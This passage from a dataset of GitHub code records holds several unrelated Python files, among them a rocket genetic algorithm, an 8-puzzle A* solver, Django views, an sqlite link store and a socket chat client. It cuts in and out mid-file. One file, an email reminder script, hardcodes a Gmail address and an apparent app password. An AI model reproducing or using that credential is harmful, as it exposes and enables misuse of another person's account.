i,\\\n ccevent.ttypes.ChannelType.CHANNEL_PLAYING, \"playing_slaughter_house_on_event_playing_destory\")\n\n proxy.Logging.debug(\"[slaughter_house] initialize\")\n\n\ndef finalize():\n for i in range(18, 22):\n proxy.Communicator.unfollow(ccevent.ttypes.EventType.EVENT_PLAYING_CREATE, i,\\\n ccevent.ttypes.ChannelType.CHANNEL_PLAYING, \"playing_slaughter_house_on_event_playing_create\")\n proxy.Communicator.unfollow(ccevent.ttypes.EventType.EVENT_PLAYING_DESTORY, i,\\\n ccevent.ttypes.ChannelType.CHANNEL_PLAYING, \"playing_slaughter_house_on_event_playing_destory\")\n\n proxy.Logging.debug(\"[slaughter_house] finalize\")\n\n","repo_name":"tonyhack/buzz-server","sub_path":"generate/configure/extension/python/playing/slaughter_house.py","file_name":"slaughter_house.py","file_ext":"py","file_size_in_byte":5908,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"21420691168","text":"from engine.core import *\r\nfrom engine.draw import *\r\nfrom engine.game import *\r\nfrom engine.utils import *\r\n\r\nfrom random import randint\r\nfrom rocket import Rocket\r\n\r\n\r\nclass RocketManager(Renderable):\r\n target = Vector2(WIDTH // 3, HEIGHT // 10)\r\n target_radius = 20\r\n\r\n simulation_duration = 200\r\n mutation_quantity = 2\r\n population = 100\r\n\r\n def __init__(self, game: Game):\r\n self.game = game\r\n self.nsimulations = 0\r\n\r\n @property\r\n def best(self):\r\n return max(\r\n self._filter_rockets(),\r\n key=lambda r: r.score\r\n )\r\n\r\n @property\r\n def worst(self):\r\n return min(\r\n self._filter_rockets(),\r\n key=lambda r: r.score\r\n )\r\n\r\n @property\r\n def nrockets_reached_target(self):\r\n n = 0\r\n\r\n for rocket in self._filter_rockets():\r\n if rocket.has_reached_target:\r\n n += 1\r\n\r\n return n\r\n\r\n @property\r\n def sim_frame_count(self):\r\n return self.game.frame_count % self.simulation_duration\r\n\r\n def update(self):\r\n if self._should_update_sim():\r\n mid_point = randint(\r\n self.population*0.3,\r\n self.population*0.5\r\n )\r\n\r\n best_rockets = self._sort_best_rockets()[:mid_point]\r\n\r\n self.game.components[:] = self._generate_new_population(best_rockets)\r\n\r\n self.game.components.insert(0, self)\r\n\r\n self.nsimulations += 1\r\n\r\n super().update()\r\n \r\n def render(self):\r\n circle(self.target, self.target_radius * 2, light_blue)\r\n\r\n txts = [\r\n f'Best: {self.best.score:.3f}',\r\n f'Worst: {self.worst.score:.3f}',\r\n f'Reached: {self.nrockets_reached_target}',\r\n f'NSimulations: {self.nsimulations}'\r\n ]\r\n\r\n for i in range(len(txts)):\r\n text(\r\n (40, (i + 1) * 40),\r\n txts[i]\r\n )\r\n \r\n text(\r\n (WIDTH-60, HEIGHT-40),\r\n self.sim_frame_count\r\n )\r\n\r\n def _should_update_sim(self):\r\n has_started = self.game.frame_count > 0\r\n is_sim_done = self.sim_frame_count == 0\r\n return has_started and is_sim_done\r\n\r\n def _sort_best_rockets(self):\r\n return sorted(\r\n self._filter_rockets(),\r\n key=lambda r: r.score,\r\n reverse=True\r\n )\r\n\r\n def _generate_new_population(self, best_rockets):\r\n return [\r\n self._generate_offspring(*random_choices(best_rockets, 2))\r\n for _ in range(self.population)\r\n ]\r\n\r\n def _generate_offspring(self, a, b):\r\n return Rocket.as_offspring(self.game, self, a, b)\r\n\r\n def _filter_rockets(self):\r\n return filter(\r\n lambda c: isinstance(c, Rocket),\r\n self.game.components\r\n )\r\n","repo_name":"BetaKors/smart-rockets","sub_path":"manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":2889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24279510190","text":"import pygame\npygame.init()\n\nimport numpy as np\n\nimport matplotlib.pyplot as plt\n\n\nclass Neuron:\n def __init__(self):\n self.balance = 0.7\n self.power = np.random.random()\n self.limit = 0.6\n self.braking_speed = 0.2\n self.acceleration_speed = 0.1\n self.input_signal = np.zeros((2, 2))\n self.weights = np.random.rand(2, 2) * 3\n self.lr = 10\n self.History = []\n\n def eval_input_signal(self):\n self.power += np.sum(self.input_signal * self.weights)\n reward = self.lr * (self.power - self.balance)\n delta_w = (self.input_signal * self.weights) * reward\n self.weights += delta_w\n self.weights = self.weights.clip(0, 1)\n\n def step(self):\n delta = self.power - self.balance\n if delta > 0:\n self.power -= delta * self.braking_speed\n else:\n self.power -= delta * self.acceleration_speed\n \n self.eval_input_signal() \n output_signal = max(self.power - self.limit, 0)\n if output_signal > 0:\n output_signal = self.power / 4\n self.power = 0\n self.History.append(self.power)\n return output_signal\n\n\n \ndef color(val):\n if val < 0:\n val = 0\n if val > 1:\n val = 1\n return tuple([int(val * 255) for _ in range(3)])\n\n\ndef put_input(neuron, Signals, i, j):\n if j == 0:\n neuron.input_signal[0][0] = 0\n else:\n neuron.input_signal[0][0] = Signals[i][j - 1]\n\n if i == 0:\n neuron.input_signal[0][1] = 0\n else:\n neuron.input_signal[0][1] = Signals[i - 1][j]\n\n if i == Signals.shape[0] - 1:\n neuron.input_signal[1][0] = 0\n else:\n neuron.input_signal[1][0] = Signals[i + 1][j]\n\n if j == Signals.shape[1] - 1:\n neuron.input_signal[1][1] = 0\n else:\n neuron.input_signal[1][1] = Signals[i][j + 1]\n\ndef act(Network):\n if np.random.random() < 0.1:\n Network[1][1].power += 100\n for i in range(len(Network)):\n for j in range(len(Network[i])):\n neuron = Network[i][j]\n put_input(neuron, Signals, i, j)\n for i in range(len(Network)):\n for j in range(len(Network[i])):\n neuron = Network[i][j]\n Signals[i][j] = neuron.step()\n rect = (j * size + ofs_x, i * size + ofs_y,\n size, size)\n pygame.draw.rect(sc, color(neuron.power), rect)\n\n if step % 100 == -1:\n for x in range(3):\n plt.plot(Network[x + 9][12].History)\n plt.show()\n print(Network[12][12].weights)\n \nFPS = 20000\nclock = pygame.time.Clock()\nwid, hght = 800, 200\nofs_x, ofs_y = 0, 0\nsize = 10\nsc = pygame.display.set_mode((wid, hght))\n\nNetwork = [[Neuron() for x in range(ofs_x // size, (wid - ofs_x) // size)]\n for y in range(ofs_y // size, (hght - ofs_y) // size)]\nSignals = np.zeros((len(Network), len(Network[0])))\n\nfor step in range(100000):\n sc.fill(pygame.Color('black'))\n for i in pygame.event.get():\n if i.type == pygame.QUIT:\n pygame.quit()\n \n act(Network)\n \n clock.tick(FPS)\n pygame.display.update()\n","repo_name":"CategoricalCrossEntropy/Brain","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3194,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"12073783143","text":"# Week 1 Lab 1 Assignment\n\nimport numpy as np\nimport sys\nfrom time import time\n\nclass Node:\n def __init__(self, parent, st, p_cost, h_cost):\n \n self.parent = parent\n self.st = st\n self.p_cost = p_cost\n self.h_cost = h_cost\n self.cost = p_cost + h_cost\n \n def __hash__(self):\n \n return hash(''.join(self.st.flatten()))\n \n def __str__(self):\n return str(self.st)\n \n def __eq__(self, other):\n \n return hash(''.join(self.st.flatten())) == hash(''.join(other.st.flatten())) \n \n def __ne__(self, other):\n return hash(''.join(self.st.flatten())) != hash(''.join(other.st.flatten()))\n\nclass PriorityQueue():\n \n def __init__(self):\n self.queue = []\n\n def pop(self):\n \n next_st = None\n st_cost = 10**18\n idx = -1\n \n for i in range(len(self.queue)):\n \n if self.queue[i].cost 0:# Move Up\n new_st = np.copy(st)\n \n val = new_st[space[0], space[1]]\n new_st[space[0], space[1]] = new_st[space[0]-1, space[1]]\n new_st[space[0]-1, space[1]] = val\n \n new_sts.append(new_st)\n \n if space[0] < 2: #Move down\n new_st = np.copy(st)\n \n val = new_st[space[0], space[1]]\n new_st[space[0], space[1]] = new_st[space[0]+1, space[1]]\n new_st[space[0]+1, space[1]] = val\n \n new_sts.append(new_st)\n \n if space[1]<2: #Move right\n new_st = np.copy(st)\n \n val = new_st[space[0], space[1]]\n new_st[space[0], space[1]] = new_st[space[0], space[1]+1]\n new_st[space[0], space[1]+1] = val\n \n new_sts.append(new_st)\n \n if space[1] > 0: #Move Left\n new_st = np.copy(st)\n \n val = new_st[space[0], space[1]]\n new_st[space[0], space[1]] = new_st[space[0], space[1]-1]\n new_st[space[0], space[1]-1] = val\n \n new_sts.append(new_st)\n \n return new_sts\n \n def reached_goal(self, st):\n \n for i in range(3):\n for j in range(3):\n if st[i,j] != self.goal_st[i,j]:\n return False\n \n return True\n\n\nclass Agent:\n \n def __init__(self, env, heuristic):\n self.frontier = PriorityQueue()\n self.explored = dict()\n self.start_st = env.get_start_st()\n self.goal_st = env.get_goal_st()\n self.env = env\n self.goal_node = None\n self.heuristic = heuristic\n \n def run(self):\n init_node = Node(parent = None, st = self.start_st, p_cost = 0, h_cost=0)\n self.frontier.push(init_node)\n steps = 0\n while not self.frontier.is_empty():\n\n curr_node = self.frontier.pop()\n\n next_sts = self.env.get_next_sts(curr_node.st)\n\n if hash(curr_node) in self.explored:\n continue\n\n self.explored[hash(curr_node)] = curr_node\n\n if self.env.reached_goal(curr_node.st):\n self.goal_node = curr_node\n break\n goal_st = self.env.get_goal_st()\n\n l = []\n for st in next_sts:\n\n h_cost = self.heuristic(st, goal_st)\n node = Node(parent=curr_node, st=st, p_cost=curr_node.p_cost+1, h_cost=h_cost)\n self.frontier.push(node)\n steps += 1\n \n \n return steps, self.soln_dep()\n \n def soln_dep(self):\n node = self.goal_node\n count = 0\n while node is not None:\n node = node.parent\n count+=1\n \n return count\n \n def print_nodes(self):\n \n node = self.goal_node\n l = []\n while node is not None:\n l.append(node)\n node = node.parent\n\n step = 1\n for node in l[::-1]:\n print(\"Step: \",step)\n print(node)\n step+=1\n \n def get_memory(self):\n \n mem = len(self.frontier)*56 + len(self.explored)*56\n return mem\n\n\n\ndef heuristic0(curr_st, goal_st):\n return 0\n\n\ndef heuristic1(curr_st, goal_st):\n \n count = 0\n for i in range(3):\n for j in range(3):\n if curr_st[i, j]!=goal_st[i,j]:\n count+=1\n \n return count\n\ndef heuristic2(curr_st, goal_st):\n \n dist = 0\n\n for i in range(3):\n for j in range(3):\n ele = curr_st[i, j]\n goal_i, goal_j = np.where(goal_st==ele)\n d = abs(goal_i[0] - i) + abs(goal_j[0] - j)\n dist += d\n \n return dist\n\ndep = 500\ngoal_st = np.array([[1,2,3], [8,'_',4], [7,6,5]])\nenv = Environment(dep, goal_st)\nprint(\"Start st: \")\nprint(env.get_start_st())\nprint(\"Goal st: \")\nprint(goal_st)\n\nagent = Agent(env = env, heuristic = heuristic2)\n\nagent.run()\n\ndeps = np.arange(0,501,50)\ngoal_st = np.array([[1,2,3], [8,'_',4], [7,6,5]])\ntimes_taken = {}\nmems = {}\nfor dep in deps:\n \n time_taken = 0\n mem = 0\n for i in range(50):\n env = Environment(dep=dep, goal_st=goal_st)\n agent = Agent(env = env, heuristic = heuristic2)\n start_time = time()\n agent.run()\n end_time = time()\n time_taken+=end_time - start_time\n mem+=agent.get_memory() \n \n time_taken/=50\n mem = mem/50\n times_taken[dep] = time_taken\n mems[dep] = mem\n print(dep, time_taken, mem)","repo_name":"Amitshu2003/ai-lab-report","sub_path":"lab1.py","file_name":"lab1.py","file_ext":"py","file_size_in_byte":7104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18194501543","text":"from django.shortcuts import render, redirect\nfrom .models import Contact, Requestforhelp, Blog\nfrom .forms import RequestforhelpForm\n\n# Create your views here.\n\n\ndef contact(request):\n default_contact = \"Hozircha malumot yoq\"\n try:\n contact = Contact.objects.get()\n if request.method == 'POST':\n form = RequestforhelpForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect(\"contact:contact\")\n else:\n form = RequestforhelpForm()\n context = {\n 'contact': contact,\n 'form': form\n }\n return render(request, 'main/contact.html', context=context)\n except Contact.DoesNotExist:\n context = {\"contact\": default_contact}\n return render(request, 'main/contact.html', context=context)\n\n\ndef blogpage(request):\n blog = Blog.objects.order_by('-id')\n context = {'blog': blog}\n return render(request, 'main/blog.html', context=context)\n\ndef blogdetail(request, pk):\n d_blog = Blog.objects.get(id=pk)\n context = {'d_blog': d_blog}\n return render(request, 'main/blog-detail.html', context=context)","repo_name":"erkin7333/ortopedik-shop","sub_path":"contact/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71567131607","text":"#!/usr/bin/python\n\nfrom math import *\n\ndef readline( f ):\n\tline = f.readline();\n\tline = line[:-1]\n\treturn line\n\ndef read_integer( f ):\n\tline = readline( f )\n\treturn int( line )\n\ndef read_integer_list( f ):\n\tline = readline( f )\n\tintegers = line.split( \" \" )\n\n\tfor i in range( len( integers ) ):\n\t\tintegers[i] = int( integers[i] )\n\n\treturn integers\n\ndef read_string( f ):\n\treturn readline( f )\n\ndef within( stage, x, y ):\n\td = abs( x ) + abs( y )\n\treturn d <= ( stage - 1 ) * 2\n\ndef binomial_coefficient( n, k ):\n\tif k < 0 or k > n:\n\t\treturn 0\n\tif k > n - k: # take advantage of symmetry\n\t\tk = n - k\n\tc = 1\n\tfor i in range(1,int(k+1)):\n\t\tc = c * (n - (k - i))\n\t\tc = c // i\n\treturn c\n\ndef stage_height( stage ):\n\treturn 2 * ( stage - 1 ) + 1\n\nf = open( \"B-tiny.in\" )\n\ntest_cases = read_integer( f )\n\nfor tc in range( test_cases ):\n\tbounds = read_integer_list( f )\n\n\tdiamonds = bounds[0]\n\tx = bounds[1]\n\ty = bounds[2]\n\n\tstage = floor( ( sqrt( 1 + 8 * diamonds ) + 1 ) / 4 )\n\toverflow = diamonds - stage * ( 2 * stage - 1 )\n\t\n\tif within( stage, x, y ):\n\t\t# point is within the completely filled triangle\n\t\tp = 1.0\n\telif within( stage + 1, x, y ) and y != stage_height( stage + 1 ) - 1:\n\t\t# point is within the next larger triangle, excluding the top\n\t\tp = 0.0\n\n\t\t# k is the minimum number of diamonds to fall on our side of the triangle\n\t\tk = y + 1\n\n\t\t# one_side is the maximum number of diamonds to fall on each side\n\t\tone_side = stage_height( stage + 1 ) - 1\n\n\t\t# at least [min_hits] diamonds will be on each side\n\t\tmin_hits = overflow - one_side\n\n\t\t# min_hits cannot be smaller than zero\n\t\tif min_hits < 0:\n\t\t\tmin_hits = 0\n\n\t\tif min_hits >= k:\n\t\t\t# there are enough diamonds on each side to fill our position in every case, i.e. it is \n\t\t\t# not possible that the required field is not covered by any diamond\n\t\t\tp = 1.0\n\t\telse:\n\t\t\t# the required position will not be covered in any case. first we sum up the\n\t\t\t# probabilities that exactly [n] diamonds with k <= n < one_side will fall on our side\n\t\t\twhile k < one_side and k <= overflow:\n\t\t\t\tp += binomial_coefficient( overflow, k ) * pow( 0.5, overflow )\n\t\t\t\tk += 1\n\n\t\t\t# [k] is now equal to [one_side] (because it was incremented in the previous step). we\n\t\t\t# now calculate the probability that our side is completely filled with diamonds while\n\t\t\t# the other side takes the remaining diamonds. this is only possible if we have enough\n\t\t\t# diamonds to fill one side completely (k <= overflow or one_side <= overflow)\n\t\t\tif k <= overflow:\n\t\t\t\tfor i in range( int(min_hits + 1) ):\n\t\t\t\t\t# we add the probability that the last [i] diamonds will inevitably land on\n\t\t\t\t\t# their side. assume the following case: we have 6 diamonds (overflow = 6) and\n\t\t\t\t\t# each side can take 4 diamonds (one_side = k = 4). we look at the case where\n\t\t\t\t\t# the right side (r) takes 4 diamonds and the left side (l) takes the remaining\n\t\t\t\t\t# 2 diamonds. the following cases are now possible:\n\t\t\t\t\t# \n\t\t\t\t\t# rlrlrr => the last decision was a real decision (i.e. it could have been l).\n\t\t\t\t\t# probability for exactly this case is pow( 0.5, 6 ), because every\n\t\t\t\t\t# decision had the probability 0.5. i = 0\n\t\t\t\t\t# rlrrrl => the last decision was no real decision (i.e. it was inevitably l).\n\t\t\t\t\t# probability for exactly this case is pow( 0.5, 5 ) * pow( 1, 1 ),\n\t\t\t\t\t# because the last decision was no real decision. i = 1\n\t\t\t\t\t# rrrrll => the last two decisions were no real decisions. probability for\n\t\t\t\t\t# exactly this case is pow( 0.5, 4 ) * pow( 1, 2 ), because the\n\t\t\t\t\t# last two decisions were no real decisions. i = 2\n\t\t\t\t\t# \n\t\t\t\t\t# transferred to the general case:\n\t\t\t\t\tp += pow( 0.5, overflow - i ) * binomial_coefficient( overflow - i - 1, min_hits - i )\n\telse:\n\t\t# point is somewhere else\n\t\tp = 0.0\n\n\tprint( \"Case #\" + str( tc + 1 ) + \": \" + str( p ) )\n","repo_name":"kevinduraj/Playground","sub_path":"GCJ/2013/FallingDiamonds/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37649197722","text":"import smtplib\nimport ssl\nimport sys\nfrom email.message import EmailMessage\nimport yaml\nfrom pathlib import Path\nimport argparse\n\nROOT_PATH = Path(__file__).parent.resolve()\n# PATH_RECIPIENTS = ROOT_PATH / \"recipients.yaml\"\nEMAIL_SENDER = 'fika.script@gmail.com'\nEMAIL_PASSWORD = 'erjdqvdmkswbyksc'\nSUBJECT = 'Fika reminder'\n\n\ndef send_email(recipient, message):\n em = EmailMessage()\n em['From'] = EMAIL_SENDER\n em['To'] = recipient[\"email\"]\n em['Subject'] = message[\"subject\"]\n\n content = message[\"content\"].format(name=recipient[\"name\"])\n em.set_content(content)\n\n context = ssl.create_default_context()\n port = 465\n with smtplib.SMTP_SSL('smtp.gmail.com', port, context=context) as smtp:\n smtp.login(EMAIL_SENDER, EMAIL_PASSWORD)\n smtp.sendmail(EMAIL_SENDER, recipient[\"email\"], em.as_string())\n\n\ndef get_first_recipient(path_recipients):\n with open(path_recipients, 'r', encoding='utf8') as stream:\n recipients = yaml.safe_load(stream)\n return recipients[0]\n\n\ndef rotate_recipients(path_recipients):\n with open(path_recipients, 'r', encoding='utf8') as stream:\n recipients = yaml.safe_load(stream)\n recipients = recipients[1:] + recipients[:1]\n with open(path_recipients, 'w', encoding='utf8') as stream:\n yaml.safe_dump(recipients, stream, allow_unicode=True)\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n subparsers = parser.add_subparsers(title=\"COMMAND\", help=\"select which command you want to run\")\n send_parser = subparsers.add_parser(\"send\")\n send_parser.set_defaults(command=\"send\")\n rotate_parser = subparsers.add_parser(\"rotate\")\n rotate_parser.set_defaults(command=\"rotate\")\n # parser.add_argument(\"COMMAND\", help=\"Select command to run\", choices=[\"send\", \"rotate\"])\n send_parser.add_argument(\"recipients\", help=\"path to recipients file\")\n send_parser.add_argument(\"message\", help=\"path to message file\")\n rotate_parser.add_argument(\"recipients\", help=\"path to recipients file\")\n return parser.parse_args()\n\n\ndef get_message(path_message):\n with open(path_message, 'r', encoding='utf8') as stream:\n message = yaml.safe_load(stream)\n return message\n\n\nif __name__ == '__main__':\n args = parse_args()\n\n if args.command == \"send\":\n recipient = get_first_recipient(args.recipients)\n message = get_message(args.message)\n send_email(recipient, message)\n elif args.command == \"rotate\":\n rotate_recipients(args.recipients)\n print(\"hej\")\n","repo_name":"bukkalexander/email-automation","sub_path":"email_automation.py","file_name":"email_automation.py","file_ext":"py","file_size_in_byte":2525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23022895607","text":"# Keeps track of all of the special links\n\nimport os\nimport sqlite3\n\nworking_directory = os.getenv(\"working directory\", os.getcwd())\nlinks_database = f\"{working_directory}/Links.db\"\n\ndatabase_exists = os.path.exists(links_database)\n\n\ndef write_schema_to_db():\n with sqlite3.connect(links_database) as connection:\n cursor = connection.cursor()\n\n try:\n cursor.execute(\"\"\"\n CREATE TABLE links(\n Link TEXT PRIMARY KEY,\n GuildID TEXT UNIQUE\n )\n \"\"\")\n except sqlite3.Error:\n print(\"Failed to load schema\")\n\n connection.commit()\n cursor.close()\n\n\nif not database_exists:\n write_schema_to_db()\n\n\"\"\"\nschema:\n\nCREATE TABLE links(\n Link TEXT PRIMARY KEY,\n GuildID TEXT UNIQUE\n )\n\"\"\"\n\n\n# Creates a new link and inserts it into the database.\ndef create_link(link: str, linked_guild: str) -> bool:\n with sqlite3.connect(links_database) as connection:\n cursor = connection.cursor()\n\n try:\n cursor.execute(\"INSERT INTO links VALUES (:l, :lG)\",\n {\"l\": link, \"lG\": linked_guild})\n except sqlite3.Error:\n print(\"Failed to add a new link to the database.\")\n return False\n\n return True\n\n\n# Deletes an api link.\ndef delete_link(link: str) -> bool:\n with sqlite3.connect(links_database) as connection:\n cursor = connection.cursor()\n\n try:\n cursor.execute(\"DELETE FROM links WHERE Link=:l\",\n {\"l\": link})\n except sqlite3.Error:\n print(f\"Failed to delete link {link}.\")\n return False\n\n return True\n\n\n# Clears the link database.\ndef clear_links() -> bool:\n with sqlite3.connect(links_database) as connection:\n cursor = connection.cursor()\n\n try:\n cursor.execute(\"DELETE FROM links\")\n except sqlite3.Error:\n print(\"Failed to clear links.\")\n return False\n\n return True\n\n\n# Gets the linked guild for the specified link.\ndef get_linked_guild(link: str) -> tuple[bool, str]:\n with sqlite3.connect(links_database) as connection:\n cursor = connection.cursor()\n\n try:\n guild_id = cursor.execute(\"SELECT GuildID FROM links WHERE Link=:l\",\n {\"l\": link}).fetchone()\n except sqlite3.Error:\n print(f\"Failed to get the linked guild for the link {link}.\")\n return False, \"\"\n\n return True, guild_id\n","repo_name":"GestaIt/Webhook-Security","sub_path":"src/SQLServer/linkManager.py","file_name":"linkManager.py","file_ext":"py","file_size_in_byte":2579,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"36725863205","text":"\"\"\"Test the selectors & signatures wordlist for the batching method.\"\"\"\n\nimport pytest\n\nimport src.parsing.selectors as selectors\nimport tests.test_data as data\n\n# FIXTURES ####################################################################\n\nKNOWN_SIGNATURES = [\n 'multisendEther(address[],uint256[])',\n 'multisendToken(address,address[],uint256[])',\n 'disperseEther(address[],uint256[])',\n 'disperseToken(address,address[],uint256[])',]\n\nKNOWN_SELECTORS = [\n '0xe63d38ed',\n '0xc73a2d60',\n '0xab883d28',\n '0x0b66f3f5',]\n\n@pytest.fixture\ndef signature_wordlist():\n return (\n selectors.generate_signature_wordlist(pattern=selectors.PATTERNS[0])\n + selectors.generate_signature_wordlist(pattern=selectors.PATTERNS[1]))\n\n@pytest.fixture\ndef selector_wordlist(signature_wordlist):\n return [selectors.selector(_s) for _s in signature_wordlist]\n\n# SIGNATURES ##################################################################\n\ndef test_known_signatures_included_in_wordlist(signature_wordlist):\n assert all([_s in signature_wordlist for _s in KNOWN_SIGNATURES])\n\n# SELECTORS ###################################################################\n\ndef test_known_selectors_included_in_wordlist(selector_wordlist):\n assert all([_s in selector_wordlist for _s in KNOWN_SELECTORS])\n","repo_name":"forta-network/starter-kits","sub_path":"batched-tx-disperse-multisend-py/tests/parsing/test_selectors.py","file_name":"test_selectors.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"31"} +{"seq_id":"43099535836","text":"from enum import Enum, EnumMeta\nfrom six import with_metaclass\n\nclass _CaseInsensitiveEnumMeta(EnumMeta):\n def __getitem__(self, name):\n return super().__getitem__(name.upper())\n\n def __getattr__(cls, name):\n \"\"\"Return the enum member matching `name`\n We use __getattr__ instead of descriptors or inserting into the enum\n class' __dict__ in order to support `name` and `value` being both\n properties for enum members (which live in the class' __dict__) and\n enum members themselves.\n \"\"\"\n try:\n return cls._member_map_[name.upper()]\n except KeyError:\n raise AttributeError(name)\n\n\nclass AllocationState(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)):\n \"\"\"Allocation state of the cluster. Possible values are: steady - Indicates that the cluster is\n not resizing. There are no changes to the number of compute nodes in the cluster in progress. A\n cluster enters this state when it is created and when no operations are being performed on the\n cluster to change the number of compute nodes. resizing - Indicates that the cluster is\n resizing; that is, compute nodes are being added to or removed from the cluster.\n \"\"\"\n\n STEADY = \"steady\"\n RESIZING = \"resizing\"\n\nclass CachingType(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)):\n \"\"\"Caching type for the disks. Available values are none (default), readonly, readwrite. Caching\n type can be set only for VM sizes supporting premium storage.\n \"\"\"\n\n NONE = \"none\"\n READONLY = \"readonly\"\n READWRITE = \"readwrite\"\n\nclass DeallocationOption(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)):\n \"\"\"Actions which should be performed when compute nodes are removed from the cluster. Possible\n values are: requeue (default) - Terminate running jobs and requeue them so the jobs will run\n again. Remove compute nodes as soon as jobs have been terminated; terminate - Terminate running\n jobs. The jobs will not run again. Remove compute nodes as soon as jobs have been terminated.\n waitforjobcompletion - Allow currently running jobs to complete. Schedule no new jobs while\n waiting. Remove compute nodes when all jobs have completed.\n \"\"\"\n\n REQUEUE = \"requeue\"\n TERMINATE = \"terminate\"\n WAITFORJOBCOMPLETION = \"waitforjobcompletion\"\n\nclass ExecutionState(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)):\n \"\"\"The current state of the job. Possible values are: queued - The job is queued and able to run.\n A job enters this state when it is created, or when it is awaiting a retry after a failed run.\n running - The job is running on a compute cluster. This includes job-level preparation such as\n downloading resource files or set up container specified on the job - it does not necessarily\n mean that the job command line has started executing. terminating - The job is terminated by\n the user, the terminate operation is in progress. succeeded - The job has completed running\n successfully and exited with exit code 0. failed - The job has finished unsuccessfully (failed\n with a non-zero exit code) and has exhausted its retry limit. A job is also marked as failed if\n an error occurred launching the job.\n \"\"\"\n\n QUEUED = \"queued\"\n RUNNING = \"running\"\n TERMINATING = \"terminating\"\n SUCCEEDED = \"succeeded\"\n FAILED = \"failed\"\n\nclass FileServerProvisioningState(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)):\n \"\"\"Provisioning state of the File Server. Possible values: creating - The File Server is getting\n created; updating - The File Server creation has been accepted and it is getting updated;\n deleting - The user has requested that the File Server be deleted, and it is in the process of\n being deleted; failed - The File Server creation has failed with the specified error code.\n Details about the error code are specified in the message field; succeeded - The File Server\n creation has succeeded.\n \"\"\"\n\n CREATING = \"creating\"\n UPDATING = \"updating\"\n DELETING = \"deleting\"\n SUCCEEDED = \"succeeded\"\n FAILED = \"failed\"\n\nclass FileType(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)):\n \"\"\"Type of the file. Possible values are file and directory.\n \"\"\"\n\n FILE = \"file\"\n DIRECTORY = \"directory\"\n\nclass JobPriority(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)):\n \"\"\"Scheduling priority associated with the job. Possible values: low, normal, high.\n \"\"\"\n\n LOW = \"low\"\n NORMAL = \"normal\"\n HIGH = \"high\"\n\nclass ProvisioningState(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)):\n \"\"\"Provisioning state of the cluster. Possible value are: creating - Specifies that the cluster is\n being created. succeeded - Specifies that the cluster has been created successfully. failed -\n Specifies that the cluster creation has failed. deleting - Specifies that the cluster is being\n deleted.\n \"\"\"\n\n CREATING = \"creating\"\n SUCCEEDED = \"succeeded\"\n FAILED = \"failed\"\n DELETING = \"deleting\"\n\nclass StorageAccountType(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)):\n \"\"\"Type of storage account to be used on the disk. Possible values are: Standard_LRS or\n Premium_LRS. Premium storage account type can only be used with VM sizes supporting premium\n storage.\n \"\"\"\n\n STANDARD_LRS = \"Standard_LRS\"\n PREMIUM_LRS = \"Premium_LRS\"\n\nclass ToolType(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)):\n \"\"\"The toolkit type of the job.\n \"\"\"\n\n CNTK = \"cntk\"\n TENSORFLOW = \"tensorflow\"\n CAFFE = \"caffe\"\n CAFFE2 = \"caffe2\"\n CHAINER = \"chainer\"\n HOROVOD = \"horovod\"\n CUSTOMMPI = \"custommpi\"\n CUSTOM = \"custom\"\n\nclass UsageUnit(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)):\n \"\"\"An enum describing the unit of usage measurement.\n \"\"\"\n\n COUNT = \"Count\"\n\nclass VmPriority(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)):\n \"\"\"VM priority. Allowed values are: dedicated (default) and lowpriority.\n \"\"\"\n\n DEDICATED = \"dedicated\"\n LOWPRIORITY = \"lowpriority\"\n","repo_name":"mirespace/python-azure","sub_path":"sdk/batchai/azure-mgmt-batchai/azure/mgmt/batchai/models/_batch_ai_enums.py","file_name":"_batch_ai_enums.py","file_ext":"py","file_size_in_byte":6084,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"22670266107","text":"import sys\r\nfrom socket import *\r\nimport os\r\nimport time\r\nfrom _thread import *\r\nimport threading\r\n\r\nip = str()\r\nport = int()\r\n\r\nclass ClientHandle():\r\n def __init__(self, clientSocket, username):\r\n self.clientSocket = clientSocket\r\n self.recvData = None\r\n self.ifPrint = False\r\n self.username = username\r\n\r\n\r\n # a thread is opened for this function\r\n # which will keep calling this function to recv data from the server\r\n def recv(self):\r\n global port\r\n global ip\r\n if self.ifPrint: return\r\n self.recvData = self.clientSocket.recv(1024).decode('utf-8')\r\n reply = self.recvData\r\n # change recvdata to stop the loop\r\n if reply == 'GB':\r\n print(\"\\nGoodbye. Server shutting down\\n\")\r\n self.recvData = 'Goodbye'\r\n self.clientSocket.close()\r\n return\r\n elif reply == \"see u \" + self.username:\r\n print(\"Good bye!\\n\\n\\n\")\r\n self.recvData = 'Goodbye'\r\n elif reply[0] == '!':\r\n return\r\n else:\r\n 